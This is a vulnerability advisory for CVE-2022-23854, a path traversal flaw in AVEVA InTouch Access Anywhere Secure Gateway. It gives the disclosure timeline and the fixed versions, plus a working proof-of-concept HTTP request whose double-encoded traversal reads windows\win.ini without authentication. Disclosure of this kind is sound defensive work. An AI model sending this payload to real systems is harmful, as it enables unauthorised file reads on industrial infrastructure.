InTouch Access Anywhere Secure Gateway versions 2020 R2 and below suffer from a path traversal vulnerability.
c9873dff912c339fc99f6c1c0d26c32ecee59d977893de8864d051af5bba5038Title:
======
AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal
Author:
=======
Jens Regel, CRISEC IT-Security
CVE:
====
CVE-2022-23854
Advisory:
=========
https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal/
Timeline:
=========
25.06.2021 Vulnerability discovered
25.06.2021 Send details to [email protected]
21.09.2021 Vendor response, fix is available until Q1/2022
25.09.2021 Vendor released Tech Alert TA000022335
06.09.2022 Public disclosure
Vendor:
=======
AVEVA Group plc is a marine and plant engineering IT company
headquartered in Cambridge, England. AVEVA software is used in many
sectors, including on- and off-shore oil and gas processing, chemicals,
pharmaceuticals, nuclear and conventional power generation, nuclear fuel
reprocessing, recycling and shipbuilding (https://www.aveva.com).
Affected Products:
==================
InTouch Access Anywhere Secure Gateway versions 2020 R2 and older
Details:
========
A security vulnerability exists in InTouch Access Anywhere Secure
Gateway versions 2020 R2 and older. This is a Relative Path Traversal
vulnerability which allows an unauthenticated user with network access
to the Secure Gateway to read files on the system outside of the Secure
Gateway web server.
Proof of Concept:
=================
GET
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
HTTP/1.1
HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Fix:
====
InTouch Access Anywhere Secure Gateway 2020 R2 (version 20.1.0) Hotfix
InTouch Access Anywhere Secure Gateway 2020b (version 20.0.1) Hotfix